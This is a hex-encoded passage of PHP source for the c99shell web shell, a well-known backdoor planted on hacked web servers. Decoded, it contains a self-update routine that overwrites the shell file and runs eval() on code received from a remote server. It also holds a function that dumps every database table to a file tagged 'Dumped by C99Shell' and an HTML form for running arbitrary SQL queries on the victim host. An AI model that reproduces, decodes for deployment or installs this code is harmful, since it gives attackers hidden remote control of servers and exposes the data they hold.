45 5F 5F 2E 22 21 20 59 6F 75 20 6D 61 79 20 64 6F 77 6E 6C 6F 61 64 20 63 39 39 73 68 65 6C 6C 2E 70 68 70 20 6D 61 6E 75 61 6C 6C 79 20 3C 61 20 68 72 65 66 3D 5C 22 22 2E 24 73 6F 75 72 63 65 75 72 6C 2E 22 5C 22 3E 3C 75 3E 68 65 72 65 3C 2F 75 3E 3C 2F 61 3E 2E 22 3B 7D 0A 20 20 20 20 20 65 6C 73 65 20 7B 66 77 72 69 74 65 28 24 66 70 2C 24 73 6F 75 72 63 65 29 3B 20 66 63 6C 6F 73 65 28 24 66 70 29 3B 20 72 65 74 75 72 6E 20 22 54 68 61 6E 6B 73 21 20 55 70 64 61 74 65 64 20 77 69 74 68 20 73 75 63 63 65 73 73 2E 22 3B 7D 0A 20 20 20 20 7D 0A 20 20 20 7D 0A 20 20 20 65 6C 73 65 20 7B 72 65 74 75 72 6E 20 22 4E 65 77 20 76 65 72 73 69 6F 6E 20 61 72 65 20 61 76 61 69 6C 61 62 6C 65 3A 20 22 2E 24 73 74 72 69 6E 67 5B 31 5D 3B 7D 0A 20 20 7D 0A 20 20 65 6C 73 65 69 66 20 28 24 64 61 74 61 7B 30 7D 20 3D 3D 20 22 5C 78 39 39 22 20 61 6E 64 20 24 64 61 74 61 7B 31 7D 20 3D 3D 20 22 5C 78 30 34 22 29 20 7B 65 76 61 6C 28 24 73 74 72 69 6E 67 29 3B 20 72 65 74 75 72 6E 20 31 3B 7D 0A 20 20 65 6C 73 65 20 7B 72 65 74 75 72 6E 20 22 45 72 72 6F 72 20 69 6E 20 70 72 6F 74 6F 63 6F 6C 3A 20 73 65 67 6D 65 6E 74 61 74 69 6F 6E 20 66 61 69 6C 65 64 21 20 28 22 2E 24 64 61 74 61 2E 22 29 20 22 3B 7D 0A 20 7D 0A 7D 0A 7D 0A 69 66 20 28 21 66 75 6E 63 74 69 6F 6E 5F 65 78 69 73 74 73 28 22 6D 79 73 71 6C 5F 64 75 6D 70 22 29 29 0A 7B 0A 66 75 6E 63 74 69 6F 6E 20 6D 79 73 71 6C 5F 64 75 6D 70 28 24 73 65 74 29 0A 7B 0A 20 67 6C 6F 62 61 6C 20 24 73 68 76 65 72 3B 0A 20 24 73 6F 63 6B 20 3D 20 24 73 65 74 5B 22 73 6F 63 6B 22 5D 3B 0A 20 24 64 62 20 3D 20 24 73 65 74 5B 22 64 62 22 5D 3B 0A 20 24 70 72 69 6E 74 20 3D 20 24 73 65 74 5B 22 70 72 69 6E 74 22 5D 3B 0A 20 24 6E 6C 32 62 72 20 3D 20 24 73 65 74 5B 22 6E 6C 32 62 72 22 5D 3B 0A 20 24 66 69 6C 65 20 3D 20 24 73 65 74 5B 22 66 69 6C 65 22 5D 3B 0A 20 24 61 64 64 5F 64 72 6F 70 20 3D 20 24 73 65 74 5B 22 61 64 64 5F 64 72 6F 70 22 5D 3B 0A 20 24 74 61 62 73 20 3D 20 24 73 65 74 5B 22 74 61 62 73 22 5D 3B 0A 20 24 6F 6E 6C 79 74 61 62 73 20 3D 20 24 73 65 74 5B 22 6F 6E 6C 79 74 61 62 73 22 5D 3B 0A 20 24 72 65 74 20 3D 20 61 72 72 61 79 28 29 3B 0A 20 24 72 65 74 5B 22 65 72 72 22 5D 20 3D 20 61 72 72 61 79 28 29 3B 0A 20 69 66 20 28 21 69 73 5F 72 65 73 6F 75 72 63 65 28 24 73 6F 63 6B 29 29 20 7B 65 63 68 6F 28 22 45 72 72 6F 72 3A 20 5C 24 73 6F 63 6B 20 69 73 20 6E 6F 74 20 76 61 6C 69 64 20 72 65 73 6F 75 72 63 65 2E 22 29 3B 7D 0A 20 69 66 20 28 65 6D 70 74 79 28 24 64 62 29 29 20 7B 24 64 62 20 3D 20 22 64 62 22 3B 7D 0A 20 69 66 20 28 65 6D 70 74 79 28 24 70 72 69 6E 74 29 29 20 7B 24 70 72 69 6E 74 20 3D 20 30 3B 7D 0A 20 69 66 20 28 65 6D 70 74 79 28 24 6E 6C 32 62 72 29 29 20 7B 24 6E 6C 32 62 72 20 3D 20 30 3B 7D 0A 20 69 66 20 28 65 6D 70 74 79 28 24 61 64 64 5F 64 72 6F 70 29 29 20 7B 24 61 64 64 5F 64 72 6F 70 20 3D 20 74 72 75 65 3B 7D 0A 20 69 66 20 28 65 6D 70 74 79 28 24 66 69 6C 65 29 29 0A 20 7B 0A 20 20 24 66 69 6C 65 20 3D 20 24 74 6D 70 64 69 72 2E 22 64 75 6D 70 5F 22 2E 67 65 74 65 6E 76 28 22 53 45 52 56 45 52 5F 4E 41 4D 45 22 29 2E 22 5F 22 2E 24 64 62 2E 22 5F 22 2E 64 61 74 65 28 22 64 2D 6D 2D 59 2D 48 2D 69 2D 73 22 29 2E 22 2E 73 71 6C 22 3B 0A 20 7D 0A 20 69 66 20 28 21 69 73 5F 61 72 72 61 79 28 24 74 61 62 73 29 29 20 7B 24 74 61 62 73 20 3D 20 61 72 72 61 79 28 29 3B 7D 0A 20 69 66 20 28 65 6D 70 74 79 28 24 61 64 64 5F 64 72 6F 70 29 29 20 7B 24 61 64 64 5F 64 72 6F 70 20 3D 20 74 72 75 65 3B 7D 0A 20 69 66 20 28 73 69 7A 65 6F 66 28 24 74 61 62 73 29 20 3D 3D 20 30 29 0A 20 7B 0A 20 20 2F 2F 20 72 65 74 72 69 76 65 20 74 61 62 6C 65 73 2D 6C 69 73 74 0A 20 20 24 72 65 73 20 3D 20 6D 79 73 71 6C 5F 71 75 65 72 79 28 22 53 48 4F 57 20 54 41 42 4C 45 53 20 46 52 4F 4D 20 22 2E 24 64 62 2C 20 24 73 6F 63 6B 29 3B 0A 20 20 69 66 20 28 6D 79 73 71 6C 5F 6E 75 6D 5F 72 6F 77 73 28 24 72 65 73 29 20 3E 20 30 29 20 7B 77 68 69 6C 65 20 28 24 72 6F 77 20 3D 20 6D 79 73 71 6C 5F 66 65 74 63 68 5F 72 6F 77 28 24 72 65 73 29 29 20 7B 24 74 61 62 73 5B 5D 20 3D 20 24 72 6F 77 5B 30 5D 3B 7D 7D 0A 20 7D 0A 20 24 6F 75 74 20 3D 20 22 23 20 44 75 6D 70 65 64 20 62 79 20 43 39 39 53 68 65 6C 6C 2E 53 51 4C 20 76 2E 20 22 2E 24 73 68 76 65 72 2E 22 0A 23 20 48 6F 6D 65 20 70 61 67 65 3A 20 68 74 74 70 3A 2F 2F 63 63 74 65 61 6D 2E 72 75 0A 23 0A 23 20 48 6F 73 74 20 73 65 74 74 69 6E 67 73 3A 0A 23 20 4D 79 53 51 4C 20 76 65 72 73 69 6F 6E 3A 20 28 22 2E 6D 79 73 71 6C 5F 67 65 74 5F 73 65 72 76 65 72 5F 69 6E 66 6F 28 29 2E 22 29 20 72 75 6E 6E 69 6E 67 20 6F 6E 20 22 2E 67 65 74 65 6E 76 28 22 53 45 52 56 45 52 5F 41 44 44 52 22 29 2E 22 20 28 22 2E 67 65 74 65 6E 76 28 22 53 45 52 56 45 52 5F 4E 41 4D 45 22 29 2E 22 29 22 2E 22 0A 23 20 44 61 74 65 3A 20 22 2E 64 61 74 65 28 22 64 2E 6D 2E 59 20 48 3A 69 3A 73 22 29 2E 22 0A 23 20 44 42 3A 20 5C 22 22 2E 24 64 62 2E 22 5C 22 0A 23 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 0A 22 3B 0A 20 24 63 20 3D 20 63 6F 75 6E 74 28 24 6F 6E 6C 79 74 61 62 73 29 3B 0A 20 66 6F 72 65 61 63 68 28 24 74 61 62 73 20 61 73 20 24 74 61 62 29 0A 20 7B 0A 20 20 69 66 20 28 28 69 6E 5F 61 72 72 61 79 28 24 74 61 62 2C 24 6F 6E 6C 79 74 61 62 73 29 29 20 6F 72 20 28 21 24 63 29 29 0A 20 20 7B 0A 20 20 20 69 66 20 28 24 61 64 64 5F 64 72 6F 70 29 20 7B 24 6F 75 74 20 2E 3D 20 22 44 52 4F 50 20 54 41 42 4C 45 20 49 46 20 45 58 49 53 54 53 20 60 22 2E 24 74 61 62 2E 22 60 3B 5C 6E 22 3B 7D 0A 20 20 20 2F 2F 20 72 65 63 69 65 76 65 20 71 75 65 72 79 20 66 6F 72 20 63 72 65 61 74 65 20 74 61 62 6C 65 20 73 74 72 75 63 74 75 72 65 0A 20 20 20 24 72 65 73 20 3D 20 6D 79 73 71 6C 5F 71 75 65 72 79 28 22 53 48 4F 57 20 43 52 45 41 54 45 20 54 41 42 4C 45 20 60 22 2E 24 74 61 62 2E 22 60 22 2C 20 24 73 6F 63 6B 29 3B 0A 20 20 20 69 66 20 28 21 24 72 65 73 29 20 7B 24 72 65 74 5B 22 65 72 72 22 5D 5B 5D 20 3D 20 6D 79 73 71 6C 5F 73 6D 61 72 74 65 72 72 6F 72 28 29 3B 7D 0A 20 20 20 65 6C 73 65 0A 20 20 20 7B 0A 20 20 20 20 24 72 6F 77 20 3D 20 6D 79 73 71 6C 5F 66 65 74 63 68 5F 72 6F 77 28 24 72 65 73 29 3B 0A 20 20 20 20 24 6F 75 74 20 2E 3D 20 24 72 6F 77 5B 22 31 22 5D 2E 22 3B 5C 6E 5C 6E 22 3B 0A 20 20 20 20 2F 2F 20 72 65 63 69 65 76 65 20 74 61 62 6C 65 20 76 61 72 69 61 62 6C 65 73 0A 20 20 20 20 24 72 65 73 20 3D 20 6D 79 73 71 6C 5F 71 75 65 72 79 28 22 53 45 4C 45 43 54 20 2A 20 46 52 4F 4D 20 60 24 74 61 62 60 22 2C 20 24 73 6F 63 6B 29 3B 0A 20 20 20 20 69 66 20 28 6D 79 73 71 6C 5F 6E 75 6D 5F 72 6F 77 73 28 24 72 65 73 29 20 3E 20 30 29 0A 20 20 20 20 7B 0A 20 20 20 20 20 77 68 69 6C 65 20 28 24 72 6F 77 20 3D 20 6D 79 73 71 6C 5F 66 65 74 63 68 5F 61 73 73 6F 63 28 24 72 65 73 29 29 0A 20 20 20 20 20 7B 0A 20 20 20 20 20 20 24 6B 65 79 73 20 3D 20 69 6D 70 6C 6F 64 65 28 22 60 2C 20 60 22 2C 20 61 72 72 61 79 5F 6B 65 79 73 28 24 72 6F 77 29 29 3B 0A 20 20 20 20 20 20 24 76 61 6C 75 65 73 20 3D 20 61 72 72 61 79 5F 76 61 6C 75 65 73 28 24 72 6F 77 29 3B 0A 20 20 20 20 20 20 66 6F 72 65 61 63 68 28 24 76 61 6C 75 65 73 20 61 73 20 24 6B 3D 3E 24 76 29 20 7B 24 76 61 6C 75 65 73 5B 24 6B 5D 20 3D 20 61 64 64 73 6C 61 73 68 65 73 28 24 76 29 3B 7D 0A 20 20 20 20 20 20 24 76 61 6C 75 65 73 20 3D 20 69 6D 70 6C 6F 64 65 28 22 27 2C 20 27 22 2C 20 24 76 61 6C 75 65 73 29 3B 0A 20 20 20 20 20 20 24 73 71 6C 20 3D 20 22 49 4E 53 45 52 54 20 49 4E 54 4F 20 60 24 74 61 62 60 28 60 22 2E 24 6B 65 79 73 2E 22 60 29 20 56 41 4C 55 45 53 20 28 27 22 2E 24 76 61 6C 75 65 73 2E 22 27 29 3B 5C 6E 22 3B 0A 20 20 20 20 20 20 24 6F 75 74 20 2E 3D 20 24 73 71 6C 3B 0A 20 20 20 20 20 7D 0A 20 20 20 20 7D 0A 20 20 20 7D 0A 20 20 7D 0A 20 7D 0A 20 24 6F 75 74 20 2E 3D 20 22 23 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 5C 6E 5C 6E 22 3B 0A 20 69 66 20 28 24 66 69 6C 65 29 0A 20 7B 0A 20 20 24 66 70 20 3D 20 66 6F 70 65 6E 28 24 66 69 6C 65 2C 20 22 77 22 29 3B 0A 20 20 69 66 20 28 21 24 66 70 29 20 7B 24 72 65 74 5B 22 65 72 72 22 5D 5B 5D 20 3D 20 32 3B 7D 0A 20 20 65 6C 73 65 0A 20 20 7B 0A 20 20 20 66 77 72 69 74 65 20 28 24 66 70 2C 20 24 6F 75 74 29 3B 0A 20 20 20 66 63 6C 6F 73 65 20 28 24 66 70 29 3B 0A 20 20 7D 0A 20 7D 0A 20 69 66 20 28 24 70 72 69 6E 74 29 20 7B 69 66 20 28 24 6E 6C 32 62 72 29 20 7B 65 63 68 6F 20 6E 6C 32 62 72 28 24 6F 75 74 29 3B 7D 20 65 6C 73 65 20 7B 65 63 68 6F 20 24 6F 75 74 3B 7D 7D 0A 20 72 65 74 75 72 6E 20 24 6F 75 74 3B 0A 7D 0A 7D 0A 69 66 20 28 21 66 75 6E 63 74 69 6F 6E 5F 65 78 69 73 74 73 28 22 6D 79 73 71 6C 5F 62 75 69 6C 64 77 68 65 72 65 22 29 29 0A 7B 0A 66 75 6E 63 74 69 6F 6E 20 6D 79 73 71 6C 5F 62 75 69 6C 64 77 68 65 72 65 28 24 61 72 72 61 79 2C 24 73 65 70 3D 22 20 61 6E 64 22 2C 24 66 75 6E 63 74 73 3D 61 72 72 61 79 28 29 29 0A 7B 0A 20 69 66 20 28 21 69 73 5F 61 72 72 61 79 28 24 61 72 72 61 79 29 29 20 7B 24 61 72 72 61 79 20 3D 20 61 72 72 61 79 28 29 3B 7D 0A 20 24 72 65 73 75 6C 74 20 3D 20 22 22 3B 0A 20 66 6F 72 65 61 63 68 28 24 61 72 72 61 79 20 61 73 20 24 6B 3D 3E 24 76 29 0A 20 7B 0A 20 20 24 76 61 6C 75 65 20 3D 20 22 22 3B 0A 20 20 69 66 20 28 21 65 6D 70 74 79 28 24 66 75 6E 63 74 73 5B 24 6B 5D 29 29 20 7B 24 76 61 6C 75 65 20 2E 3D 20 24 66 75 6E 63 74 73 5B 24 6B 5D 2E 22 28 22 3B 7D 0A 20 20 24 76 61 6C 75 65 20 2E 3D 20 22 27 22 2E 61 64 64 73 6C 61 73 68 65 73 28 24 76 29 2E 22 27 22 3B 0A 20 20 69 66 20 28 21 65 6D 70 74 79 28 24 66 75 6E 63 74 73 5B 24 6B 5D 29 29 20 7B 24 76 61 6C 75 65 20 2E 3D 20 22 29 22 3B 7D 0A 20 20 24 72 65 73 75 6C 74 20 2E 3D 20 22 60 22 2E 24 6B 2E 22 60 20 3D 20 22 2E 24 76 61 6C 75 65 2E 24 73 65 70 3B 0A 20 7D 0A 20 24 72 65 73 75 6C 74 20 3D 20 73 75 62 73 74 72 28 24 72 65 73 75 6C 74 2C 30 2C 73 74 72 6C 65 6E 28 24 72 65 73 75 6C 74 29 2D 73 74 72 6C 65 6E 28 24 73 65 70 29 29 3B 0A 20 72 65 74 75 72 6E 20 24 72 65 73 75 6C 74 3B 0A 7D 0A 7D 0A 69 66 20 28 21 66 75 6E 63 74 69 6F 6E 5F 65 78 69 73 74 73 28 22 6D 79 73 71 6C 5F 66 65 74 63 68 5F 61 6C 6C 22 29 29 0A 7B 0A 66 75 6E 63 74 69 6F 6E 20 6D 79 73 71 6C 5F 66 65 74 63 68 5F 61 6C 6C 28 24 71 75 65 72 79 2C 24 73 6F 63 6B 29 0A 7B 0A 20 69 66 20 28 24 73 6F 63 6B 29 20 7B 24 72 65 73 75 6C 74 20 3D 20 6D 79 73 71 6C 5F 71 75 65 72 79 28 24 71 75 65 72 79 2C 24 73 6F 63 6B 29 3B 7D 0A 20 65 6C 73 65 20 7B 24 72 65 73 75 6C 74 20 3D 20 6D 79 73 71 6C 5F 71 75 65 72 79 28 24 71 75 65 72 79 29 3B 7D 0A 20 24 61 72 72 61 79 20 3D 20 61 72 72 61 79 28 29 3B 0A 20 77 68 69 6C 65 20 28 24 72 6F 77 20 3D 20 6D 79 73 71 6C 5F 66 65 74 63 68 5F 61 72 72 61 79 28 24 72 65 73 75 6C 74 29 29 20 7B 24 61 72 72 61 79 5B 5D 20 3D 20 24 72 6F 77 3B 7D 0A 20 6D 79 73 71 6C 5F 66 72 65 65 5F 72 65 73 75 6C 74 28 24 72 65 73 75 6C 74 29 3B 0A 20 72 65 74 75 72 6E 20 24 61 72 72 61 79 3B 0A 7D 0A 7D 0A 69 66 20 28 21 66 75 6E 63 74 69 6F 6E 5F 65 78 69 73 74 73 28 22 6D 79 73 71 6C 5F 73 6D 61 72 74 65 72 72 6F 72 22 29 29 0A 7B 0A 66 75 6E 63 74 69 6F 6E 20 6D 79 73 71 6C 5F 73 6D 61 72 74 65 72 72 6F 72 28 24 74 79 70 65 2C 24 73 6F 63 6B 29 0A 7B 0A 20 69 66 20 28 24 73 6F 63 6B 29 20 7B 24 65 72 72 6F 72 20 3D 20 6D 79 73 71 6C 5F 65 72 72 6F 72 28 24 73 6F 63 6B 29 3B 7D 0A 20 65 6C 73 65 20 7B 24 65 72 72 6F 72 20 3D 20 6D 79 73 71 6C 5F 65 72 72 6F 72 28 29 3B 7D 0A 20 24 65 72 72 6F 72 20 3D 20 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 65 72 72 6F 72 29 3B 0A 20 72 65 74 75 72 6E 20 24 65 72 72 6F 72 3B 0A 7D 0A 7D 0A 69 66 20 28 21 66 75 6E 63 74 69 6F 6E 5F 65 78 69 73 74 73 28 22 6D 79 73 71 6C 5F 71 75 65 72 79 5F 66 6F 72 6D 22 29 29 0A 7B 0A 66 75 6E 63 74 69 6F 6E 20 6D 79 73 71 6C 5F 71 75 65 72 79 5F 66 6F 72 6D 28 29 0A 7B 0A 20 67 6C 6F 62 61 6C 20 24 73 75 62 6D 69 74 2C 24 73 71 6C 5F 61 63 74 2C 24 73 71 6C 5F 71 75 65 72 79 2C 24 73 71 6C 5F 71 75 65 72 79 5F 72 65 73 75 6C 74 2C 24 73 71 6C 5F 63 6F 6E 66 69 72 6D 2C 24 73 71 6C 5F 71 75 65 72 79 5F 65 72 72 6F 72 2C 24 74 62 6C 5F 73 74 72 75 63 74 3B 0A 20 69 66 20 28 28 24 73 75 62 6D 69 74 29 20 61 6E 64 20 28 21 24 73 71 6C 5F 71 75 65 72 79 5F 72 65 73 75 6C 74 29 20 61 6E 64 20 28 24 73 71 6C 5F 63 6F 6E 66 69 72 6D 29 29 20 7B 69 66 20 28 21 24 73 71 6C 5F 71 75 65 72 79 5F 65 72 72 6F 72 29 20 7B 24 73 71 6C 5F 71 75 65 72 79 5F 65 72 72 6F 72 20 3D 20 22 51 75 65 72 79 20 77 61 73 20 65 6D 70 74 79 22 3B 7D 20 65 63 68 6F 20 22 3C 62 3E 45 72 72 6F 72 3A 3C 2F 62 3E 20 3C 62 72 3E 22 2E 24 73 71 6C 5F 71 75 65 72 79 5F 65 72 72 6F 72 2E 22 3C 62 72 3E 22 3B 7D 0A 20 69 66 20 28 24 73 71 6C 5F 71 75 65 72 79 5F 72 65 73 75 6C 74 20 6F 72 20 28 21 24 73 71 6C 5F 63 6F 6E 66 69 72 6D 29 29 20 7B 24 73 71 6C 5F 61 63 74 20 3D 20 24 73 71 6C 5F 67 6F 74 6F 3B 7D 0A 20 69 66 20 28 28 21 24 73 75 62 6D 69 74 29 20 6F 72 20 28 24 73 71 6C 5F 61 63 74 29 29 0A 20 7B 0A 20 20 65 63 68 6F 20 22 3C 74 61 62 6C 65 20 62 6F 72 64 65 72 3D 30 3E 3C 74 72 3E 3C 74 64 3E 3C 66 6F 72 6D 20 6E 61 6D 65 3D 5C 22 63 39 39 73 68 5F 73 71 6C 71 75 65 72 79 5C 22 20 6D 65 74 68 6F 64 3D 50 4F 53 54 3E 3C 62 3E 22 3B 20 69 66 20 28 28 24 73 71 6C 5F 71 75 65 72 79 29 20 61 6E 64 20 28 21 24 73 75 62 6D 69 74 29 29 20 7B 65 63 68 6F 20 22 44 6F 20 79 6F 75 20 72 65 61 6C 6C 79 20 77 61 6E 74 20 74 6F 22 3B 7D 20 65 6C 73 65 20 7B 65 63 68 6F 20 22 53 51 4C 2D 51 75 65 72 79 22 3B 7D 20 65 63 68 6F 20 22 3A 3C 2F 62 3E 3C 62 72 3E 3C 62 72 3E 3C 74 65 78 74 61 72 65 61 20 6E 61 6D 65 3D 73 71 6C 5F 71 75 65 72 79 20 63 6F 6C 73 3D 31 30 30 20 72 6F 77 73 3D 31 30 3E 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 73 71 6C 5F 71 75 65 72 79 29 2E 22 3C 2F 74 65 78 74 61 72 65 61 3E 3C 62 72 3E 3C 62 72 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 68 69 64 64 65 6E 20 6E 61 6D 65 3D 61 63 74 20 76 61 6C 75 65 3D 73 71 6C 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 68 69 64 64 65 6E 20 6E 61 6D 65 3D 73 71 6C 5F 61 63 74 20 76 61 6C 75 65 3D 71 75 65 72 79 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 68 69 64 64 65 6E 20 6E 61 6D 65 3D 73 71 6C 5F 74 62 6C 20 76 61 6C 75 65 3D 5C 22 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 73 71 6C 5F 74 62 6C 29 2E 22 5C 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 68 69 64 64 65 6E 20 6E 61 6D 65 3D 73 75 62 6D 69 74 20 76 61 6C 75 65 3D 5C 22 31 5C 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 68 69 64 64 65 6E 20 6E 61 6D 65 3D 5C 22 73 71 6C 5F 67 6F 74 6F 5C 22 20 76 61 6C 75 65 3D 5C 22 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 73 71 6C 5F 67 6F 74 6F 29 2E 22 5C 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 73 75 62 6D 69 74 20 6E 61 6D 65 3D 73 71 6C 5F 63 6F 6E 66 69 72 6D 20 76 61 6C 75 65 3D 5C 22 59 65 73 5C 22 3E 26 6E 62 73 70 3B 3C 69 6E 70 75 74 20 74 79 70 65 3D 73 75 62 6D 69 74 20 76 61 6C 75 65 3D 5C 22 4E 6F 5C 22 3E 3C 2F 66 6F 72 6D 3E 3C 2F 74 64 3E 22 3B 0A 20 20 69 66 20 28 24 74 62 6C 5F 73 74 72 75 63 74 29 0A 20 20 7B 0A 20 20 20 65 63 68 6F 20 22 3C 74 64 20 76 61 6C 69 67 6E 3D 5C 22 74 6F 70 5C 22 3E 3C 62 3E 46 69 65 6C 64 73 3A 3C 2F 62 3E 3C 62 72 3E 22 3B 0A 20 20 20 66 6F 72 65 61 63 68 20 28 24 74 62 6C 5F 73 74 72 75 63 74 20 61 73 20 24 66 69 65 6C 64 29 20 7B 24 6E 61 6D 65 20 3D 20 24 66 69 65 6C 64 5B 22 46 69 65 6C 64 22 5D 3B 20 65 63 68 6F 20 22 C2 BB 20 3C 61 20 68 72 65 66 3D 5C 22 23 5C 22 20 6F 6E 63 6C 69 63 6B 3D 5C 22 64 6F 63 75 6D 65 6E 74 2E 63 39 39 73 68 5F 73 71 6C 71 75 65 72 79 2E 73 71 6C 5F 71 75 65 72 79 2E 76 61 6C 75 65 2B 3D 27 60 22 2E 24 6E 61 6D 65 2E 22 60 27 3B 5C 22 3E 3C 62 3E 22 2E 24 6E 61 6D 65 2E 22 3C 2F 62 3E 3C 2F 61 3E 3C 62 72 3E 22 3B 7D 0A 20 20 20 65 63 68 6F 20 22 3C 2F 74 64 3E 3C 2F 74 72 3E 3C 2F 74 61 62 6C 65 3E 22 3B 0A 20 20 7D 0A 20 7D 0A 20 69 66 20 28 24 73 71 6C 5F 71 75 65 72 79 5F 72 65 73 75 6C 74 20 6F 72 20 28 21 24 73 71 6C 5F 63 6F 6E 66 69 72 6D 29 29 20 7B 24 73 71 6C 5F 71 75 65 72 79 20 3D 20 24 73 71 6C 5F 6C 61 73 74 5F 71 75 65 72 79 3B 7D 0A 7D 0A 7D 0A 69 66 20 28 21 66 75 6E 63 74 69 6F 6E 5F 65 78 69 73 74 73 28 22 6D 79 73 71 6C 5F 63 72 65 61 74 65 5F 64 62 22 29 29 0A 7B 0A 66 75 6E 63 74 69 6F 6E 20 6D 79 73 71 6C 5F 63 72 65 61 74 65 5F 64 62 28 24 64 62 2C 24 73 6F 63 6B 3D 22 22 29 0A 7B 0A 20 24 73 71 6C 20 3D 20 22 43 52 45 41 54 45 20 44 41 54 41 42 41 53 45 20 60 22 2E 61 64 64 73 6C 61 73 68 65 73 28 24 64 62 29 2E 22 60 3B 22 3B 0A 20 69 66 20 28 24 73 6F 63 6B 29 20 7B 72 65 74 75 72 6E 20 6D 79 73 71 6C 5F 71 75 65 72 79 28 24 73 71 6C 2C 24 73 6F 63 6B 29 3B 7D 0A 20 65 6C 73 65 20 7B 72 65 74 75 72 6E 20 6D 79 73 71 6C 5F 71 75 65 72 79 28 24 73 71 6C 29 3B 7D 0A 7D 0A 7D 0A 69 66 20 28 21 66 75 6E 63 74 69 6F 6E 5F 65 78 69 73 74 73 28 22 6D 79 73 71 6C 5F 71 75 65 72 79 5F 70 61 72 73 65 22 29 29 0A 7B 0A 66 75 6E 63 74 69 6F 6E 20 6D 79 73 71 6C 5F 71 75 65 72 79 5F 70 61 72 73 65 28 24 71 75 65 72 79 29 0A 7B 0A 20 24 71 75 65 72 79 20 3D 20 74 72 69 6D 28 24 71 75 65 72 79 29 3B 0A 20 24 61 72 72 20 3D 20 65 78 70 6C 6F 64 65 20 28 22 20 22 2C 24 71 75 65 72 79 29 3B 0A 20 2F 2A 61 72 72 61 79 20 61 72 72 61 79 28 29 0A 20 7B 0A 20 20 22 4D 45 54 48 4F 44 22 3D 3E 61 72 72 61 79 28 6F 75 74 70 75 74 5F 74 79 70 65 29 2C 0A 20 20 22 4D 45 54 48 4F 44 31 22 2E 2E 2E 0A 20 20 2E 2E 2E 0A 20 7D 0A 20 69 66 20 6F 75 74 70 75 74 5F 74 79 70 65 20 3D 3D 20 30 2C 20 6E 6F 20 6F 75 74 70 75 74 2C 0A 20 69 66 20 6F 75 74 70 75 74 5F 74 79 70 65 20 3D 3D 20 31 2C 20 6E 6F 20 6F 75 74 70 75 74 20 69 66 20 6E 6F 20 65 72 72 6F 72 0A 20 69 66 20 6F 75 74 70 75 74 5F 74 79 70 65 20 3D 3D 20 32 2C 20 6F 75 74 70 75 74 20 77 69 74 68 6F 75 74 20 63 6F 6E 74 72 6F 6C 2D 62 75 74 74 6F 6E 73 0A 20 69 66 20 6F 75 74 70 75 74 5F 74 79 70 65 20 3D 3D 20 33 2C 20 6F 75 74 70 75 74 20 77 69 74 68 20 63 6F 6E 74 72 6F 6C 2D 62 75 74 74 6F 6E 73 0A 20 2A 2F 0A 20 24 74 79 70 65 73 20 3D 20 61 72 72 61 79 28 0A 20 20 22 53 45 4C 45 43 54 22 3D 3E 61 72 72 61 79 28 33 2C 31 29 2C 0A 20 20 22 53 48 4F 57 22 3D 3E 61 72 72 61 79 28 32 2C 31 29 2C 0A 20 20 22 44 45 4C 45 54 45 22 3D 3E 61 72 72 61 79 28 31 29 2C 0A 20 20 22 44 52 4F 50 22 3D 3E 61 72 72 61 79 28 31 29 0A 20 29 3B 0A 20 24 72 65 73 75 6C 74 20 3D 20 61 72 72 61 79 28 29 3B 0A 20 24 6F 70 20 3D 20 73 74 72 74 6F 75 70 70 65 72 28 24 61 72 72 5B 30 5D 29 3B 0A 20 69 66 20 28 69 73 5F 61 72 72 61 79 28 24 74 79 70 65 73 5B 24 6F 70 5D 29 29 0A 20 7B 0A 20 20 24 72 65 73 75 6C 74 5B 22 70 72 6F 70 65 72 74 69 6F 6E 73 22 5D 20 3D 20 24 74 79 70 65 73 5B 24 6F 70 5D 3B 0A 20 20 24 72 65 73 75 6C 74 5B 22 71 75 65 72 79 22 5D 20 20 3D 20 24 71 75 65 72 79 3B 0A 20 20 69 66 20 28 24 74 79 70 65 73 5B 24 6F 70 5D 20 3D 3D 20 32 29 0A 20 20 7B 0A 20 20 20 66 6F 72 65 61 63 68 28 24 61 72 72 20 61 73 20 24 6B 3D 3E 24 76 29 0A 20 20 20 7B 0A 20 20 20 20 69 66 20 28 73 74 72 74 6F 75 70 70 65 72 28 24 76 29 20 3D 3D 20 22 4C 49 4D 49 54 22 29 0A 20 20 20 20 7B 0A 20 20 20 20 20 24 72 65 73 75 6C 74 5B 22 6C 69 6D 69 74 22 5D 20 3D 20 24 61 72 72 5B 24 6B 2B 31 5D 3B 0A 20 20 20 20 20 24 72 65 73 75 6C 74 5B 22 6C 69 6D 69 74 22 5D 20 3D 20 65 78 70 6C 6F 64 65 28 22 2C 22 2C 24 72 65 73 75 6C 74 5B 22 6C 69 6D 69 74 22 5D 29 3B 0A 20 20 20 20 20 69 66 20 28 63 6F 75 6E 74 28 24 72 65 73 75 6C 74 5B 22 6C 69 6D 69 74 22 5D 29 20 3D 3D 20 31 29 20 7B 24 72 65 73 75 6C 74 5B 22 6C 69 6D 69 74 22 5D 20 3D 20 61 72 72 61 79 28 30 2C 24 72 65 73 75 6C 74 5B 22 6C 69 6D 69 74 22 5D 5B 30 5D 29 3B 7D 0A 20 20 20 20 20 75 6E 73 65 74 28 24 61 72 72 5B 24 6B 5D 2C 24 61 72 72 5B 24 6B 2B 